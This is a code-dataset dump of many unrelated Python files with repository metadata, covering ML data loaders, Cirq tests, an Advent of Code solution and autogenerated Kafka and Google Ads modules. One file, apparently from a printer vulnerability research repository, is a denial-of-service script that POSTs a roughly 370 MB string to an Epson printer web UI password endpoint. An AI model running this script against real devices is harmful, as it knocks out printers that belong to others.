A class wrapper for all properties of input time series.
'''
def __init__(self, data, nodes):
self._ts_data = data
self._nodes = ... | 23.589744 | 67 | 0.653261 | 110 | 920 | 5.209091 | 0.363636 | 0.115183 | 0.146597 | 0.062827 | 0.08377 | 0.08377 | 0 | 0 | 0 | 0 | 0 | 0.004438 | 0.265217 | 920 | 39 | 68 | 23.589744 | 0.843195 | 0.06087 | 0 | 0.214286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.107143 | 0.214286 | 0.607143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
e03ba3970f932ac8a6ba808905f9de0b145c14a7 | 196 | py | Python | py/2016/3A.py | pedrotari7/advent_of_code | 98d5bc8d903435624a019a5702f5421d7b4ef8c8 | [
"MIT"
] | null | null | null | py/2016/3A.py | pedrotari7/advent_of_code | 98d5bc8d903435624a019a5702f5421d7b4ef8c8 | [
"MIT"
] | null | null | null | py/2016/3A.py | pedrotari7/advent_of_code | 98d5bc8d903435624a019a5702f5421d7b4ef8c8 | [
"MIT"
] | null | null | null | with open('3.in') as f:
trig = [[int(s) for s in t.split()] for t in f.read().split('\n')]
valid = 0
for t in trig:
valid += t[1]+t[0]>t[2] and t[1]+t[2]>t[0] and t[2]+t[0]>t[1]
print valid | 21.777778 | 68 | 0.540816 | 50 | 196 | 2.12 | 0.4 | 0.056604 | 0.113208 | 0.075472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069182 | 0.188776 | 196 | 9 | 69 | 21.777778 | 0.597484 | 0 | 0 | 0 | 0 | 0 | 0.030457 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e0446456ac65a1d732f468faa3f456ad88156a1b | 433 | py | Python | lib/datasets/cifar10.py | rgreenblatt/realistic-ssl-evaluation-pytorch | e70266b405adec2a108667e48bca90f70646c270 | [
"MIT"
] | null | null | null | lib/datasets/cifar10.py | rgreenblatt/realistic-ssl-evaluation-pytorch | e70266b405adec2a108667e48bca90f70646c270 | [
"MIT"
] | null | null | null | lib/datasets/cifar10.py | rgreenblatt/realistic-ssl-evaluation-pytorch | e70266b405adec2a108667e48bca90f70646c270 | [
"MIT"
] | null | null | null | import os
import numpy as np
class CIFAR10:
def __init__(self, root, split="l_train"):
self.dataset = np.load(os.path.join(root, split + ".npy"),
allow_pickle=True).item()
def __getitem__(self, idx):
image = self.dataset["images"][idx]
label = self.datas... | 25.470588 | 66 | 0.581986 | 54 | 433 | 4.407407 | 0.574074 | 0.184874 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006431 | 0.281755 | 433 | 16 | 67 | 27.0625 | 0.758842 | 0 | 0 | 0 | 0 | 0 | 0.066975 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.166667 | 0.083333 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
e0451663b3da75470201bad21e9f04a40e56d643 | 17,771 | py | Python | cirq/line/placement/greedy_test.py | amdhacks/Cirq | 49c256422bb2b05fb87a941b0b9aab180fb69a4b | [
"Apache-2.0"
] | null | null | null | cirq/line/placement/greedy_test.py | amdhacks/Cirq | 49c256422bb2b05fb87a941b0b9aab180fb69a4b | [
"Apache-2.0"
] | null | null | null | cirq/line/placement/greedy_test.py | amdhacks/Cirq | 49c256422bb2b05fb87a941b0b9aab180fb69a4b | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... | 34.109405 | 78 | 0.611333 | 2,079 | 17,771 | 4.991823 | 0.08658 | 0.05396 | 0.052033 | 0.054635 | 0.796493 | 0.728849 | 0.703315 | 0.658605 | 0.622856 | 0.578917 | 0 | 0.096647 | 0.269878 | 17,771 | 520 | 79 | 34.175 | 0.703198 | 0.072027 | 0 | 0.618785 | 0 | 0 | 0.039486 | 0.030224 | 0 | 0 | 0 | 0 | 0.165746 | 1 | 0.074586 | false | 0 | 0.022099 | 0.002762 | 0.099448 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e047593578983128656aad88e6a4acca9bd7d442 | 8,241 | py | Python | src/etddf/instantiate_asset.py | COHRINT/et-ddf | 92511945360a4f853a256b28e7fff74475cff2e9 | [
"MIT"
] | 5 | 2019-07-08T17:19:06.000Z | 2021-02-22T03:37:22.000Z | src/etddf/instantiate_asset.py | COHRINT/et-ddf | 92511945360a4f853a256b28e7fff74475cff2e9 | [
"MIT"
] | 1 | 2020-01-21T20:07:56.000Z | 2020-01-30T18:22:51.000Z | src/etddf/instantiate_asset.py | COHRINT/et-ddf | 92511945360a4f853a256b28e7fff74475cff2e9 | [
"MIT"
] | 2 | 2019-11-05T03:17:39.000Z | 2020-07-19T14:03:16.000Z | from __future__ import division
from etddf.measurements import *
from copy import deepcopy
import numpy as np
import pdb
# Assumes world dim is 3D
def instantiate_asset_linrel(asset_id, x_hat, P, meas_queue, num_ownship_states):
meas_queue = deepcopy(meas_queue)
x_hat = deepcopy(x_hat)
P = deepcopy(P)
... | 58.446809 | 162 | 0.644825 | 1,371 | 8,241 | 3.581328 | 0.105033 | 0.118126 | 0.189002 | 0.14664 | 0.740122 | 0.721589 | 0.696538 | 0.659063 | 0.636253 | 0.596945 | 0 | 0.016516 | 0.235894 | 8,241 | 141 | 163 | 58.446809 | 0.763221 | 0.677466 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007092 | 0 | 1 | 0.051282 | false | 0 | 0.128205 | 0 | 0.25641 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e04c37cd4a11b52cc5f76da666f65edf443efaa0 | 532 | py | Python | adminlte3_theme/models.py | asadA009/TestAdminPanel | d4a74b2c48ea98428423e604985fcf7746ddd2b5 | [
"MIT"
] | null | null | null | adminlte3_theme/models.py | asadA009/TestAdminPanel | d4a74b2c48ea98428423e604985fcf7746ddd2b5 | [
"MIT"
] | null | null | null | adminlte3_theme/models.py | asadA009/TestAdminPanel | d4a74b2c48ea98428423e604985fcf7746ddd2b5 | [
"MIT"
] | null | null | null | from django.db import models
from ckeditor.fields import RichTextField
class confrence(models.Model):
id =models.AutoField
confrence_ID=models.CharField(max_length=20,default='')
date=models.DateTimeField(auto_now_add=False)
venu=models.CharField(max_length=50, default='')
image=models.ImageField(up... | 44.333333 | 68 | 0.785714 | 68 | 532 | 6.029412 | 0.573529 | 0.131707 | 0.168293 | 0.197561 | 0.234146 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008333 | 0.097744 | 532 | 11 | 69 | 48.363636 | 0.845833 | 0 | 0 | 0 | 0 | 0 | 0.030075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.181818 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0ebfb6ed50c7fdd1522251c2fc03211731cfeb39 | 348 | py | Python | sample-apps/deepedit_lung/test.py | finalelement/MONAILabel | 3f63ffd4f49161076e77b7c74c733f6ce5cce78c | [
"Apache-2.0"
] | null | null | null | sample-apps/deepedit_lung/test.py | finalelement/MONAILabel | 3f63ffd4f49161076e77b7c74c733f6ce5cce78c | [
"Apache-2.0"
] | null | null | null | sample-apps/deepedit_lung/test.py | finalelement/MONAILabel | 3f63ffd4f49161076e77b7c74c733f6ce5cce78c | [
"Apache-2.0"
] | null | null | null | from monailabel.interfaces.test import test_main
if __name__ == "__main__":
test_main()
"""
# Example commands to run inference or train locally
# Inference
python test.py -a . -s Task0X_Lung/imagesTr infer -m segmentation -i coronacases_001.nii.gz -o label.nii.gz
# Train
python test.py -a . -s Task0X_Lung/imag... | 21.75 | 107 | 0.738506 | 54 | 348 | 4.5 | 0.666667 | 0.065844 | 0.098765 | 0.106996 | 0.263374 | 0.263374 | 0.263374 | 0.263374 | 0 | 0 | 0 | 0.023891 | 0.158046 | 348 | 15 | 108 | 23.2 | 0.805461 | 0 | 0 | 0 | 0 | 0 | 0.084211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
0ec5aab8928f39a1b462170d8bc2a7c07b7ae914 | 108 | py | Python | notebooks/_solutions/03-coordinate-reference-systems10.py | jorisvandenbossche/DS-python-geospatial | 893a12edc5c203a75815f6dcb5f1e18c577c8cd5 | [
"BSD-3-Clause"
] | 58 | 2020-10-09T10:10:59.000Z | 2022-03-07T14:58:07.000Z | notebooks/_solutions/03-coordinate-reference-systems10.py | jorisvandenbossche/DS-python-geospatial | 893a12edc5c203a75815f6dcb5f1e18c577c8cd5 | [
"BSD-3-Clause"
] | 24 | 2020-09-30T19:57:14.000Z | 2021-10-05T07:21:09.000Z | notebooks/_solutions/03-coordinate-reference-systems10.py | jorisvandenbossche/DS-python-geospatial | 893a12edc5c203a75815f6dcb5f1e18c577c8cd5 | [
"BSD-3-Clause"
] | 19 | 2020-10-05T09:32:18.000Z | 2022-03-20T00:09:14.000Z | # Convert to the Web Mercator projection
stations_webmercator = stations.to_crs("EPSG:3857")
stations.head() | 36 | 51 | 0.805556 | 15 | 108 | 5.666667 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040816 | 0.092593 | 108 | 3 | 52 | 36 | 0.826531 | 0.351852 | 0 | 0 | 0 | 0 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0ecbd38e233ad3a053c3f86716a76ef28f187bbd | 660 | py | Python | axiom/test/historic/stub_processor1to2.py | twisted/axiom | 28191ede99287e9a87c1ff561b831f7d80aaa2fe | [
"MIT"
] | 23 | 2015-01-08T07:29:32.000Z | 2021-11-03T11:27:48.000Z | axiom/test/historic/stub_processor1to2.py | twisted/axiom | 28191ede99287e9a87c1ff561b831f7d80aaa2fe | [
"MIT"
] | 109 | 2015-01-08T05:54:56.000Z | 2022-03-02T04:06:40.000Z | axiom/test/historic/stub_processor1to2.py | twisted/axiom | 28191ede99287e9a87c1ff561b831f7d80aaa2fe | [
"MIT"
] | 16 | 2015-01-08T07:08:43.000Z | 2021-07-28T02:53:17.000Z | # -*- test-case-name: axiom.test.historic.test_processor1to2 -*-
from __future__ import print_function
from axiom.item import Item
from axiom.attributes import text
from axiom.batch import processor
from axiom.test.historic.stubloader import saveStub
class Dummy(Item):
__module__ = 'axiom.test.historic.stub_pro... | 21.290323 | 64 | 0.740909 | 81 | 660 | 5.740741 | 0.481481 | 0.077419 | 0.146237 | 0.090323 | 0.146237 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018149 | 0.165152 | 660 | 30 | 65 | 22 | 0.825771 | 0.160606 | 0 | 0 | 0 | 0 | 0.167286 | 0.152416 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.666667 | 0.133333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0ecfed54e9c641e03edc5f89d53195ddadfb1867 | 301 | py | Python | brb/terminal_logs/tests/factories.py | Lee-Sutton/brb | f94330675e34bf1dfd0aeeb78379d5de1ec4ca42 | [
"MIT"
] | null | null | null | brb/terminal_logs/tests/factories.py | Lee-Sutton/brb | f94330675e34bf1dfd0aeeb78379d5de1ec4ca42 | [
"MIT"
] | 8 | 2019-04-06T17:22:15.000Z | 2019-04-24T22:30:57.000Z | brb/terminal_logs/tests/factories.py | Lee-Sutton/brb | f94330675e34bf1dfd0aeeb78379d5de1ec4ca42 | [
"MIT"
] | null | null | null | import factory
from factory import DjangoModelFactory, Faker
from brb.terminal_logs.models import Log
from brb.users.tests.factories import UserFactory
class LogFactory(DjangoModelFactory):
content = Faker('text')
class Meta:
model = Log
user = factory.SubFactory(UserFactory)
| 21.5 | 49 | 0.760797 | 35 | 301 | 6.514286 | 0.628571 | 0.061404 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172757 | 301 | 13 | 50 | 23.153846 | 0.915663 | 0 | 0 | 0 | 0 | 0 | 0.013289 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.444444 | 0 | 0.888889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0ee15b9e9a0722e0365a1f999f55865639388d3f | 340 | py | Python | src/DoS/dos_webui.py | bstnbuck/Epson-Printer-vulnerabilities | 9c9b88c3bf36472a3f805b42c30d95894e93c73f | [
"MIT"
] | 3 | 2021-11-09T16:10:46.000Z | 2022-01-18T16:40:37.000Z | src/DoS/dos_webui.py | bstnbuck/Epson-Printer-vulnerabilities | 9c9b88c3bf36472a3f805b42c30d95894e93c73f | [
"MIT"
] | null | null | null | src/DoS/dos_webui.py | bstnbuck/Epson-Printer-vulnerabilities | 9c9b88c3bf36472a3f805b42c30d95894e93c73f | [
"MIT"
] | null | null | null | import requests
import json
long_string = "hello_world"
for i in range(25):
long_string += long_string
print(len(long_string))
data = json.dumps({"INPUTT_USERNAME":long_string, "access": "https", "INPUTT_PASSWORD": "", "INPUTT_DUMMY": ""})
r = requests.post("https://<ip>/PRESENTATION/ADVANCED/PASSWORD/SET", data=... | 24.285714 | 112 | 0.726471 | 47 | 340 | 5.06383 | 0.638298 | 0.210084 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006557 | 0.102941 | 340 | 13 | 113 | 26.153846 | 0.77377 | 0 | 0 | 0 | 0 | 0 | 0.326471 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.25 | 0.25 | 0 | 0.25 | 0.125 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0ef3608f01a8734d3d305e1b84c32cd4d6d7f3a8 | 3,107 | py | Python | test/test_welcome.py | dhood/uqcsbot | d36fb77a848d17d91ac8bd4c1b85000bac06f7c0 | [
"MIT"
] | 38 | 2017-04-13T01:15:05.000Z | 2021-07-25T08:22:20.000Z | test/test_welcome.py | dhood/uqcsbot | d36fb77a848d17d91ac8bd4c1b85000bac06f7c0 | [
"MIT"
] | 302 | 2017-04-13T01:20:26.000Z | 2021-04-06T07:08:29.000Z | test/test_welcome.py | dhood/uqcsbot | d36fb77a848d17d91ac8bd4c1b85000bac06f7c0 | [
"MIT"
] | 54 | 2017-05-04T23:18:29.000Z | 2021-04-07T17:57:16.000Z | from test.conftest import MockUQCSBot, TEST_USER_ID, TEST_DIRECT_ID
from test.helpers import (generate_event_object, MESSAGE_TYPE_CHANNEL_CREATED,
MESSAGE_TYPE_MEMBER_JOINED_CHANNEL, MESSAGE_TYPE_TEAM_JOIN)
from unittest.mock import patch
# TODO(mitch): replace this with the milestone number ... | 49.31746 | 95 | 0.616672 | 348 | 3,107 | 5.189655 | 0.264368 | 0.046512 | 0.094684 | 0.129568 | 0.659468 | 0.615172 | 0.569767 | 0.522148 | 0.471207 | 0.44186 | 0 | 0.004025 | 0.280335 | 3,107 | 62 | 96 | 50.112903 | 0.803667 | 0.085613 | 0 | 0.404255 | 1 | 0 | 0.110004 | 0 | 0 | 0 | 0 | 0.016129 | 0.085106 | 1 | 0.042553 | false | 0 | 0.06383 | 0 | 0.106383 | 0.021277 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
16067002e3963792ffa9a2e064463d8b91c5a419 | 790 | py | Python | skfda/misc/operators/_identity.py | jdtuck/scikit-fda | 28259dffbc45dfc8dbf3c12839b928f9df200351 | [
"BSD-3-Clause"
] | null | null | null | skfda/misc/operators/_identity.py | jdtuck/scikit-fda | 28259dffbc45dfc8dbf3c12839b928f9df200351 | [
"BSD-3-Clause"
] | null | null | null | skfda/misc/operators/_identity.py | jdtuck/scikit-fda | 28259dffbc45dfc8dbf3c12839b928f9df200351 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
from ...representation import FDataGrid
from ...representation.basis import Basis
from ._operators import Operator, gramian_matrix_optimization
class Identity(Operator):
"""Identity operator.
Linear operator that returns its input.
.. math::
Ix = x
Can be applied to both... | 20.25641 | 61 | 0.71519 | 93 | 790 | 5.83871 | 0.494624 | 0.071823 | 0.138122 | 0.121547 | 0.313076 | 0.180479 | 0.180479 | 0 | 0 | 0 | 0 | 0.001605 | 0.211392 | 790 | 38 | 62 | 20.789474 | 0.869984 | 0.175949 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.277778 | 0.111111 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
16131d6357d1034d15863a68d95aca3d22616e16 | 131 | py | Python | saau/sections/landcover/__init__.py | Mause/statistical_atlas_of_au | 9a1e46cdb1075f993086640827dabb0f4df4fd17 | [
"MIT"
] | null | null | null | saau/sections/landcover/__init__.py | Mause/statistical_atlas_of_au | 9a1e46cdb1075f993086640827dabb0f4df4fd17 | [
"MIT"
] | null | null | null | saau/sections/landcover/__init__.py | Mause/statistical_atlas_of_au | 9a1e46cdb1075f993086640827dabb0f4df4fd17 | [
"MIT"
] | null | null | null | """
http://www.agriculture.gov.au/abares/aclump/land-use/data-download
"""
IMAGES = [
# 'wheat',
'hay.HayImageProvider'
]
| 14.555556 | 66 | 0.641221 | 15 | 131 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145038 | 131 | 8 | 67 | 16.375 | 0.75 | 0.580153 | 0 | 0 | 0 | 0 | 0.425532 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1614d4368c6a7d6af7165cf430fe295d751dc408 | 4,500 | py | Python | esque_wire/protocol/serializers/api/produce_request.py | real-digital/esque-wire | eb02c49f38b89ad5e5d25aad15fb4ad795e52807 | [
"MIT"
] | null | null | null | esque_wire/protocol/serializers/api/produce_request.py | real-digital/esque-wire | eb02c49f38b89ad5e5d25aad15fb4ad795e52807 | [
"MIT"
] | 7 | 2019-11-26T08:19:49.000Z | 2021-03-15T14:27:47.000Z | esque_wire/protocol/serializers/api/produce_request.py | real-digital/esque-wire | eb02c49f38b89ad5e5d25aad15fb4ad795e52807 | [
"MIT"
] | null | null | null | ###############################################################
# Autogenerated module. Please don't modify. #
# Edit according file in protocol_generator/templates instead #
###############################################################
from typing import Dict
from ...structs.api.produce_request im... | 38.793103 | 113 | 0.661556 | 323 | 4,500 | 9.130031 | 0.195046 | 0.103086 | 0.081384 | 0.089522 | 0.6843 | 0.296711 | 0.296711 | 0.296711 | 0.210241 | 0.210241 | 0 | 0.026085 | 0.165111 | 4,500 | 115 | 114 | 39.130435 | 0.75885 | 0.026667 | 0 | 0.336842 | 1 | 0 | 0.122411 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.031579 | 0 | 0.031579 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
161bf517d00088ba76dc62c09df18fa895cdc032 | 2,105 | py | Python | hello_google_colab.py | noqisofon/hello_google_colab | 7f698b8c0685d5c7741d8567fcde792aa185ce43 | [
"Apache-2.0"
] | null | null | null | hello_google_colab.py | noqisofon/hello_google_colab | 7f698b8c0685d5c7741d8567fcde792aa185ce43 | [
"Apache-2.0"
] | null | null | null | hello_google_colab.py | noqisofon/hello_google_colab | 7f698b8c0685d5c7741d8567fcde792aa185ce43 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""hello-google-colab.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1nt9DiA6rR1mhhlq09_jhPjZ4U3r8lAq9
みなさん、おはこんばんにちございます。
Syrup Lang Advent Calender 第 2 日目の記事だと思います。
はじめに
==============================================... | 21.262626 | 107 | 0.635154 | 246 | 2,105 | 5.406504 | 0.455285 | 0.06015 | 0.058647 | 0.086466 | 0.315789 | 0.272932 | 0.233835 | 0.233835 | 0.166165 | 0.069173 | 0 | 0.015512 | 0.142518 | 2,105 | 99 | 108 | 21.262626 | 0.72133 | 0.286936 | 0 | 0.653846 | 1 | 0 | 0.168743 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
16228fc21f52fb98b8ba56720b6e8028eb090144 | 106 | py | Python | WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/python_Change_a_Range_of_Item_Values_3.txt.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | 5 | 2021-06-02T23:44:25.000Z | 2021-12-27T16:21:57.000Z | WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/python_Change_a_Range_of_Item_Values_3.txt.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | 22 | 2021-05-31T01:33:25.000Z | 2021-10-18T18:32:39.000Z | WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/python_Change_a_Range_of_Item_Values_3.txt.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | 3 | 2021-06-19T03:37:47.000Z | 2021-08-31T00:49:51.000Z | thislist = ["apple", "banana", "cherry"]
thislist[1:2] = ["blackcurrant", "watermelon"]
print(thislist)
| 17.666667 | 46 | 0.660377 | 11 | 106 | 6.363636 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021277 | 0.113208 | 106 | 5 | 47 | 21.2 | 0.723404 | 0 | 0 | 0 | 0 | 0 | 0.367925 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
162497b93e4aa5667ca4e596a268d06e1caa5774 | 364 | py | Python | text/_elisp/marker/_marker.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/_elisp/marker/_marker.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/_elisp/marker/_marker.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | """
Marker
A position in a buffer.
"""
from dataclasses import dataclass
from ..buffer.ident import BufferNameIdent
from ..buffer._position import BufferPosition
__all__ = [
"Marker",
]
class MarkerInsertionType:
pass
@dataclass
class Marker:
buffer: BufferNameIdent
position: BufferPosit... | 13 | 45 | 0.730769 | 35 | 364 | 7.428571 | 0.514286 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.200549 | 364 | 27 | 46 | 13.481481 | 0.893471 | 0.085165 | 0 | 0 | 0 | 0 | 0.018927 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.076923 | 0.230769 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
162c5c13f3dbca667dd87c79727710efb29fe72e | 5,220 | py | Python | google/ads/google_ads/v1/proto/services/detail_placement_view_service_pb2.py | jwygoda/google-ads-python | 863892b533240cb45269d9c2cceec47e2c5a8b68 | [
"Apache-2.0"
] | null | null | null | google/ads/google_ads/v1/proto/services/detail_placement_view_service_pb2.py | jwygoda/google-ads-python | 863892b533240cb45269d9c2cceec47e2c5a8b68 | [
"Apache-2.0"
] | null | null | null | google/ads/google_ads/v1/proto/services/detail_placement_view_service_pb2.py | jwygoda/google-ads-python | 863892b533240cb45269d9c2cceec47e2c5a8b68 | [
"Apache-2.0"
] | null | null | null | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads_v1/proto/services/detail_placement_view_service.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
